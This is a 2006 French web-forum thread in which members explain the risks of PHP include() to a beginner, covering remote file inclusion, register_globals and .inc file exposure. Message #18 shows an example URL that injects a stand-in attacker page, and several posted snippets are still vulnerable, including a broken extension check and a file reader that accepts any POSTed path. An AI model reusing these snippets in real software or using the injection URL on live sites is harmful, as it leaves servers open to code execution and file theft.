IPB

Bienvenue invité ( Connexion | Inscription )

> les dangers de l'include PHP, pour un débutant
Options
Hyp
posté 24 Oct 2006, 22:29
Message #1


Macbidouilleur d'Or !
*****

Groupe : Membres
Messages : 6 172
Inscrit : 7 May 2005
Membre no 38 651





Ce message a été modifié par Hyp - 12 May 2010, 11:51.
Go to the top of the page
 
+Quote Post
2 Pages V   1 2 >  
Start new topic
Réponse(s) (1 - 29)
No6
posté 24 Oct 2006, 22:41
Message #2


Oui ?
*****

Groupe : Membres
Messages : 3 889
Inscrit : 24 Jun 2003
Lieu : BZH
Membre no 8 224



Vieux probleme largement expliqué un peu partout :
http://www.frsirt.com/alertes/20041226.PhpIncludeWorm.php

Pour faire simple, ne pas faire des includes avec une variable dedans
genre: include($page);

mais mettre des valeurs fixes. cool.gif


--------------------
"Je sais que vous croyez comprendre ce que vous pensez que j'ai dit, mais je ne suis pas sûr que vous réalisiez que ce que vous avez entendu n'est pas ce que je pense."
(Alan Greenspan)
Go to the top of the page
 
+Quote Post
Hyp
posté 24 Oct 2006, 22:48
Message #3


Macbidouilleur d'Or !
*****

Groupe : Membres
Messages : 6 172
Inscrit : 7 May 2005
Membre no 38 651



Merci pour cette explication concise No6 thumb.gif tongue.gif
J'irai lire en détail ton lien demain matin, il est l'heure d'aller dormir..
Bonne nuit.
Go to the top of the page
 
+Quote Post
No6
posté 24 Oct 2006, 22:59
Message #4


Oui ?
*****

Groupe : Membres
Messages : 3 889
Inscrit : 24 Jun 2003
Lieu : BZH
Membre no 8 224



Je me sens tout guilleret, j'ai l'impression d'avoir repoussé un gros nuage noir du ciel de tes rêves tongue.gif

Ce message a été modifié par No6 - 24 Oct 2006, 23:00.


--------------------
"Je sais que vous croyez comprendre ce que vous pensez que j'ai dit, mais je ne suis pas sûr que vous réalisiez que ce que vous avez entendu n'est pas ce que je pense."
(Alan Greenspan)
Go to the top of the page
 
+Quote Post
Hyp
posté 24 Oct 2006, 23:03
Message #5


Macbidouilleur d'Or !
*****

Groupe : Membres
Messages : 6 172
Inscrit : 7 May 2005
Membre no 38 651





Ce message a été modifié par Hyp - 12 May 2010, 11:52.
Go to the top of the page
 
+Quote Post
No6
posté 24 Oct 2006, 23:11
Message #6


Oui ?
*****

Groupe : Membres
Messages : 3 889
Inscrit : 24 Jun 2003
Lieu : BZH
Membre no 8 224



Nous sommes tous obligés les uns envers les autres (formule boudhiste) wink.gif


--------------------
"Je sais que vous croyez comprendre ce que vous pensez que j'ai dit, mais je ne suis pas sûr que vous réalisiez que ce que vous avez entendu n'est pas ce que je pense."
(Alan Greenspan)
Go to the top of the page
 
+Quote Post
hubeert
posté 25 Oct 2006, 07:45
Message #7


Macbidouilleur de vermeil !
****

Groupe : Membres
Messages : 983
Inscrit : 19 May 2005
Lieu : Chateauneuf du pape
Membre no 39 495



coucou;
d'une maniere générale ( même si je suis loin , tres loin biggrin.gif ;d'être un expert en sécurité web)
on protege ses pages avec un tableau associatif puis on vérifie que l'include correspond bien a ce que lon veut de ce genre la..
HTML
<html>
<head>
<title>Accueil</title>
<meta name="keywords" content="xxxxxx,xxxxx,ixxxxx,">
<meta name="description" content="xxxxxxxxxxxxxxxxxxxxx">

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link href="style.css" rel="stylesheet" type="text/css">
</head>

SQL
<?php
$pageOK = array( 'objectifs' => 'objectifs.inc', 'info' => 'info_2.inc',
'adherent' => 'adherent.inc', 'tarifs' => 'tarifs.php',
'texteaccueil'=>'texteaccueil.php' );
?>


<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<table width="720" border="0" cellpadding="0" class="arriereplan">
<tr height="80">
<td > </td>

</tr>
<tr>
<td valign="top" width="90"><?php include("menu.inc"); ?></td>
<td valign="top" align="center">
SQL
<?php if ( (isset($HTTP_GET_VARS['inc'])) && (isset($pageOK[$HTTP_GET_VARS['inc']])) ) {
include($pageOK[$HTTP_GET_VARS['inc']]);} else { include ("texteaccueil.php");}?>

</td>
</tr>
</table>
</body>
</html>


--------------------
Musique techno avec MAO (Logic Pro)

des que quelqu'un a du pouvoir il croit détenir la vérité...
Des que quelqu'un a un clavier il A la la vérité.(Forcément)
Go to the top of the page
 
+Quote Post
schlum
posté 25 Oct 2006, 09:29
Message #8


Terminaltor
Moderating Machine
*****

Groupe : Admin
Messages : 24 456
Inscrit : 25 Oct 2002
Lieu : Jeumont (59)
Membre no 4 319



En général on active pas "register_globals"... Ca évite que des petits malins envoient n'importe quelle variable aux scripts.


--------------------
          I think therefore I Mac          
Go to the top of the page
 
+Quote Post
hubeert
posté 25 Oct 2006, 10:30
Message #9


Macbidouilleur de vermeil !
****

Groupe : Membres
Messages : 983
Inscrit : 19 May 2005
Lieu : Chateauneuf du pape
Membre no 39 495



autre danger moins connu..

faire attention au extensions données
par defaut dans le dossier de configuration
Addtype application/x-httpd-php .phtml .php3 .php4 .php

si on fait par exemple
monfichierouilyamescodes.inc

puis qq de mal intentionné tape ce nom dans le navigateur.; il visualise directement le contenu parceque apache ne traite pas cela comme du php mais comme du texte.;

faire ceci..

Addtype application/x-httpd-php .phtml .php3 .php4 .php .inc .bak

bak est souvent une copie involontaire.;


php peut etre configuré en mode Safe
cacher sa signature php; ( plus dur pour connaitre la version)
et comme le dit schlum metre
register_global sur off

supprimer l'affichage des erreurs

display_errors=off

mais cest vrai que cest assez complexe..
le malintentioné ( que je differencie du hacker) connais aussi les habitudes des programmeurs et certains savent tres bien afficher les information que l'on a en debogant..

tire du livre "site marchand en PHP/MySQL" de jean marc herellier

le livre

Ce message a été modifié par hubeert - 25 Oct 2006, 10:39.


--------------------
Musique techno avec MAO (Logic Pro)

des que quelqu'un a du pouvoir il croit détenir la vérité...
Des que quelqu'un a un clavier il A la la vérité.(Forcément)
Go to the top of the page
 
+Quote Post
canari
posté 8 Nov 2006, 01:55
Message #10


Macbidouilleur de bronze !
**

Groupe : Membres
Messages : 486
Inscrit : 26 Jul 2004
Membre no 21 405



pour monfichierouilyamescodes.inc, autant faire un fichier monfichierouilyamescodes.inc.php, comme ça tu vois que c'est un include, mais aussi que c'est du php
Go to the top of the page
 
+Quote Post
No6
posté 8 Nov 2006, 02:07
Message #11


Oui ?
*****

Groupe : Membres
Messages : 3 889
Inscrit : 24 Jun 2003
Lieu : BZH
Membre no 8 224



CITATION(canari @ 8 Nov 2006, 01:55) [snapback]1969445[/snapback]
pour monfichierouilyamescodes.inc, autant faire un fichier monfichierouilyamescodes.inc.php, comme ça tu vois que c'est un include, mais aussi que c'est du php

C'est une façon de voir, moi je fais un dossier "includes" ou j'y mets les includes en php... wink.gif


--------------------
"Je sais que vous croyez comprendre ce que vous pensez que j'ai dit, mais je ne suis pas sûr que vous réalisiez que ce que vous avez entendu n'est pas ce que je pense."
(Alan Greenspan)
Go to the top of the page
 
+Quote Post
canari
posté 8 Nov 2006, 02:26
Message #12


Macbidouilleur de bronze !
**

Groupe : Membres
Messages : 486
Inscrit : 26 Jul 2004
Membre no 21 405



CITATION(No6 @ 8 Nov 2006, 02:07) [snapback]1969451[/snapback]

CITATION(canari @ 8 Nov 2006, 01:55) [snapback]1969445[/snapback]
pour monfichierouilyamescodes.inc, autant faire un fichier monfichierouilyamescodes.inc.php, comme ça tu vois que c'est un include, mais aussi que c'est du php

C'est une façon de voir, moi je fais un dossier "includes" ou j'y mets les includes en php... wink.gif


j'utilise aussi un répertoire "includes" mais les fichiers y sont de la forme *.inc.php
c'est juste avoir des fichiers *.inc et modifier le php.ini qui me surprend.
pour moi, il vaut mieux avoir l'extension .php (ou .inc.php) plutôt que .inc, mais chacun fait comme il veut

Ce message a été modifié par canari - 8 Nov 2006, 02:28.
Go to the top of the page
 
+Quote Post
DUX
posté 8 Nov 2006, 17:50
Message #13


Macbidouilleur de vermeil !
****

Groupe : Membres
Messages : 866
Inscrit : 13 Jun 2003
Membre no 8 046



le .inc pour les fichiers à inclure, c'est la vieille école. Celà n'a plus lieu d'être même pour les nostalgiques à cause de l'interprétation (ou plutot la non interprétation) par Apache / PHP.


--------------------
Go to the top of the page
 
+Quote Post
Hyp
posté 16 Nov 2006, 13:33
Message #14


Macbidouilleur d'Or !
*****

Groupe : Membres
Messages : 6 172
Inscrit : 7 May 2005
Membre no 38 651





Ce message a été modifié par Hyp - 12 May 2010, 11:52.
Go to the top of the page
 
+Quote Post
schlum
posté 16 Nov 2006, 14:13
Message #15


Terminaltor
Moderating Machine
*****

Groupe : Admin
Messages : 24 456
Inscrit : 25 Oct 2002
Lieu : Jeumont (59)
Membre no 4 319



Euh... "include" c'est pour inclure un fichier hein...
Si tu veux afficher juste une variable, fais "<?php echo $texte; ?>" ou plus simplement "<?=$texte?>"


--------------------
          I think therefore I Mac          
Go to the top of the page
 
+Quote Post
Hyp
posté 16 Nov 2006, 14:16
Message #16


Macbidouilleur d'Or !
*****

Groupe : Membres
Messages : 6 172
Inscrit : 7 May 2005
Membre no 38 651



CITATION(schlum @ 16 Nov 2006, 14:13) [snapback]1982744[/snapback]

Euh... "include" c'est pour inclure un fichier hein...

unsure.gif
CITATION(Hyp @ 16 Nov 2006, 13:33) [snapback]1982690[/snapback]

(Vous aurez compris que le but de l'opération est de permettre à l'utilisateur d'inclure son texte dans l'interface que j'aurai mise en place wink.gif )
-> (Vous aurez compris que le but de l'opération est de permettre à l'utilisateur d'inclure son fichier texte dans l'interface que j'aurai mise en place wink.gif )

thumb.gif
Go to the top of the page
 
+Quote Post
schlum
posté 16 Nov 2006, 14:36
Message #17


Terminaltor
Moderating Machine
*****

Groupe : Admin
Messages : 24 456
Inscrit : 25 Oct 2002
Lieu : Jeumont (59)
Membre no 4 319



Ben justement, faut pas faire de "include($texte);"...
Surtout chez Free.


--------------------
          I think therefore I Mac          
Go to the top of the page
 
+Quote Post
No6
posté 16 Nov 2006, 16:45
Message #18


Oui ?
*****

Groupe : Membres
Messages : 3 889
Inscrit : 24 Jun 2003
Lieu : BZH
Membre no 8 224




CITATION(Hyp @ 16 Nov 2006, 13:33) [snapback]1982690[/snapback]
Imaginons que je veuille faire la chose suivante:
h ttp://www.monsite.com/index.php?texte=vot...e.com/texte.txt
CODE

<html>
<head><title>Ma page index.php</title></head>
<body>
<h1>Voici votre texte:</h1>
<?php include $texte;?>
<!-- Pas sûr que la syntaxe soit correcte -->
</body>
</html>

Quelle méthode dois-je adopter ?

(Vous aurez compris que le but de l'opération est de permettre à l'utilisateur d'inclure son fichier texte dans l'interface que j'aurai mise en place wink.gif )


Comme c'est expliqué plus haut, et répété par schlum : faut pas faire de "include($texte);"

Car un pirate va écrire comme URL :
h ttp://www.monsite.com/index.php?texte=http://page_pirate.php
avec dedans plein de code php pour te pourrir la vie, vider ton site, mettre ses stocks vidéo de cul piratés dessus pour les vendre wink.gif



--------------------
"Je sais que vous croyez comprendre ce que vous pensez que j'ai dit, mais je ne suis pas sûr que vous réalisiez que ce que vous avez entendu n'est pas ce que je pense."
(Alan Greenspan)
Go to the top of the page
 
+Quote Post
Hyp
posté 16 Nov 2006, 19:20
Message #19


Macbidouilleur d'Or !
*****

Groupe : Membres
Messages : 6 172
Inscrit : 7 May 2005
Membre no 38 651





Ce message a été modifié par Hyp - 12 May 2010, 11:52.
Go to the top of the page
 
+Quote Post
Master Buck
posté 16 Nov 2006, 20:11
Message #20


Macbidouilleur d'argent !
***

Groupe : Membres
Messages : 564
Inscrit : 2 Apr 2005
Lieu : Hell
Membre no 36 398



Oui ou plus simplement, il faut vérifier l'extension du fichier inclus avec :
CODE
$file = $_GET['file'];
$ext = strtolower(substr(strrchr($file, '.'), 1));
if ($ext == "txt" || file_exists($file))
include $file;
else
echo 'Oo, you wanna hack me, I'll eat potatoes.';


Ce message a été modifié par Master Buck - 16 Nov 2006, 20:12.


--------------------
Membre du club des AIPBP (Anciens Inscrits Pas Beaucoup de Posts) Voir la liste
~ ~
Go to the top of the page
 
+Quote Post
Hyp
posté 16 Nov 2006, 20:30
Message #21


Macbidouilleur d'Or !
*****

Groupe : Membres
Messages : 6 172
Inscrit : 7 May 2005
Membre no 38 651





Ce message a été modifié par Hyp - 12 May 2010, 11:52.
Go to the top of the page
 
+Quote Post
schlum
posté 16 Nov 2006, 21:53
Message #22


Terminaltor
Moderating Machine
*****

Groupe : Admin
Messages : 24 456
Inscrit : 25 Oct 2002
Lieu : Jeumont (59)
Membre no 4 319



CITATION(Master Buck @ 16 Nov 2006, 20:11) [snapback]1983222[/snapback]

Oui ou plus simplement, il faut vérifier l'extension du fichier inclus avec :
CODE
$file = $_GET['file'];
$ext = strtolower(substr(strrchr($file, '.'), 1));
if ($ext == "txt" || file_exists($file))
include $file;
else
echo 'Oo, you wanna hack me, I'll eat potatoes.';


Et ? Ca permet quand même de mettre du PHP dans le .txt non ?

De toute façon, pour include, le fichier doit être sur le serveur... Et dans ce cas d'un fichier texte, la solution est la lecture de fichier :
http://www.commentcamarche.net/php/phpfich.php3


--------------------
          I think therefore I Mac          
Go to the top of the page
 
+Quote Post
Master Buck
posté 17 Nov 2006, 18:36
Message #23


Macbidouilleur d'argent !
***

Groupe : Membres
Messages : 564
Inscrit : 2 Apr 2005
Lieu : Hell
Membre no 36 398



Euh, en toute logique, si le PHP est dans un fichier texte ou même HTML, il est pas executé, mais juste affiché, il faut faire htmlentity_decode() pour pouvoir l'executer (ou html_entity_decode(), je sais plus).


--------------------
Membre du club des AIPBP (Anciens Inscrits Pas Beaucoup de Posts) Voir la liste
~ ~
Go to the top of the page
 
+Quote Post
schlum
posté 17 Nov 2006, 23:09
Message #24


Terminaltor
Moderating Machine
*****

Groupe : Admin
Messages : 24 456
Inscrit : 25 Oct 2002
Lieu : Jeumont (59)
Membre no 4 319



CITATION(Master Buck @ 17 Nov 2006, 18:36) [snapback]1984547[/snapback]

Euh, en toute logique, si le PHP est dans un fichier texte ou même HTML, il est pas executé, mais juste affiché, il faut faire htmlentity_decode() pour pouvoir l'executer (ou html_entity_decode(), je sais plus).

Test :

test1.php :
CODE
<?php
include "test2.txt";
?>


test2.txt :
CODE
<?php
phpinfo();
?>


-> Affiche bien les infos, donc ta théorie est fumeuse tongue.gif


--------------------
          I think therefore I Mac          
Go to the top of the page
 
+Quote Post
ghost-X
posté 18 Nov 2006, 01:28
Message #25


Macbidouilleur de bronze !
**

Groupe : Membres
Messages : 344
Inscrit : 29 Jul 2005
Lieu : bordeaux
Membre no 43 206



CITATION(Master Buck @ 17 Nov 2006, 18:36) [snapback]1984547[/snapback]

Euh, en toute logique, si le PHP est dans un fichier texte ou même HTML, il est pas executé, mais juste affiché, il faut faire htmlentity_decode() pour pouvoir l'executer (ou html_entity_decode(), je sais plus).


A partir du moment que ton fichier est inclue dans une page qui seras interpreté par php, meme si celui-cui s'apelle text.toto, si il contient du php, il seras interpreté.

Par contre, avec ton htmlentities , tu est presque dans le vrai .
Il faudrais ouvrir le fichier, mettre son contenue dans une variable et faire <? echo htmlentities($ma_var_text); ?> et la plus de probleme .


--------------------
MacBook Core Duo 2Ghz 512mo DD 60Giga 13"3 SuperDrive DVD RW CD RW powered by Debian
Go to the top of the page
 
+Quote Post
Master Buck
posté 18 Nov 2006, 11:20
Message #26


Macbidouilleur d'argent !
***

Groupe : Membres
Messages : 564
Inscrit : 2 Apr 2005
Lieu : Hell
Membre no 36 398



Ha ouaip, ok, je vais faire gaffe maintenant, je savais pas...
Donc oui, ouvrir le fichier, faire un htmlentities, c'est comme j'ai fait pour mon éditeur de fichier, je cherche le code...
CODE
$link = $_POST['file'];

if (file_exists($link))
    $open = fopen($link,'r+');
echo htmlentities(file_get_contents($link));


Ce message a été modifié par Master Buck - 18 Nov 2006, 11:23.


--------------------
Membre du club des AIPBP (Anciens Inscrits Pas Beaucoup de Posts) Voir la liste
~ ~
Go to the top of the page
 
+Quote Post
Grognon
posté 5 Dec 2006, 11:58
Message #27


Gumby Berrichon
*****

Groupe : Modérateurs
Messages : 15 372
Inscrit : 5 Dec 2002
Membre no 5 011



CITATION(No6 @ 24 Oct 2006, 22:41) [snapback]1947339[/snapback]
Pour faire simple, ne pas faire des includes avec une variable dedans
genre: include($page);

mais mettre des valeurs fixes. cool.gif


Pour être sûr de bien comprendre unsure.gif
C'est bon un truc comme ça sachant que www.xxx.com n'est pas un serveur externe ?
CODE
include 'http://www.xxx.com/xxx/fichier.php';
Go to the top of the page
 
+Quote Post
schlum
posté 5 Dec 2006, 12:03
Message #28


Terminaltor
Moderating Machine
*****

Groupe : Admin
Messages : 24 456
Inscrit : 25 Oct 2002
Lieu : Jeumont (59)
Membre no 4 319



CITATION(Grognon @ 5 Dec 2006, 11:58) [snapback]2007750[/snapback]

CITATION(No6 @ 24 Oct 2006, 22:41) [snapback]1947339[/snapback]
Pour faire simple, ne pas faire des includes avec une variable dedans
genre: include($page);

mais mettre des valeurs fixes. cool.gif


Pour être sûr de bien comprendre unsure.gif
C'est bon un truc comme ça sachant que www.xxx.com n'est pas un serveur externe ?
CODE
include 'http://www.xxx.com/xxx/fichier.php';


Oui... Si t'as confiance en le serveur externe tongue.gif
Enfin à priori, le serveur externe va déjà évaluer le php et sortir du HTML de toute façon...
Après, si quelqu'un pirate le serveur externe et met un script php avec 'echo("<?php")' ... 'echo("?>")', je ne sais pas ce que ça donne unsure.gif


--------------------
          I think therefore I Mac          
Go to the top of the page
 
+Quote Post
Grognon
posté 5 Dec 2006, 12:14
Message #29


Gumby Berrichon
*****

Groupe : Modérateurs
Messages : 15 372
Inscrit : 5 Dec 2002
Membre no 5 011



CITATION(Grognon @ 5 Dec 2006, 11:58) [snapback]2007750[/snapback]
C'est bon un truc comme ça sachant que www.xxx.com n'est pas un serveur externe ?

wink.gif

Je sais, un chemin relatif c'est mieux mais j'ai pas encore tout compris le système du include_path donc, de guerre lasse… biggrin.gif
Go to the top of the page
 
+Quote Post
schlum
posté 5 Dec 2006, 12:19
Message #30


Terminaltor
Moderating Machine
*****

Groupe : Admin
Messages : 24 456
Inscrit : 25 Oct 2002
Lieu : Jeumont (59)
Membre no 4 319



CITATION(Grognon @ 5 Dec 2006, 12:14) [snapback]2007780[/snapback]

CITATION(Grognon @ 5 Dec 2006, 11:58) [snapback]2007750[/snapback]
C'est bon un truc comme ça sachant que www.xxx.com n'est pas un serveur externe ?

wink.gif

Je sais, un chemin relatif c'est mieux mais j'ai pas encore tout compris le système du include_path donc, de guerre lasse… biggrin.gif

Ah d'accord, j'ai zappé la négation laugh.gif
Ben c'est comme ça qu'il faut faire, à part que c'est quand même mieux de mettre le chemin relatif laugh.gif
Dans un système UNIX, chaque répertoire contient deux répertoires "virtuels" (des liens en quelque sorte) :
. qui pointe vers lui même
.. qui pointe vers son répertoire père
Donc en utilisant .., tu peux remonter aussi loin que voulu !
Exemple : include("../../rep2/monFichier.php");


--------------------
          I think therefore I Mac          
Go to the top of the page
 
+Quote Post

2 Pages V   1 2 >
Reply to this topicStart new topic
2 utilisateur(s) sur ce sujet (2 invité(s) et 0 utilisateur(s) anonyme(s))
0 membre(s) :

 



Nous sommes le : 5th April 2026 - 19:13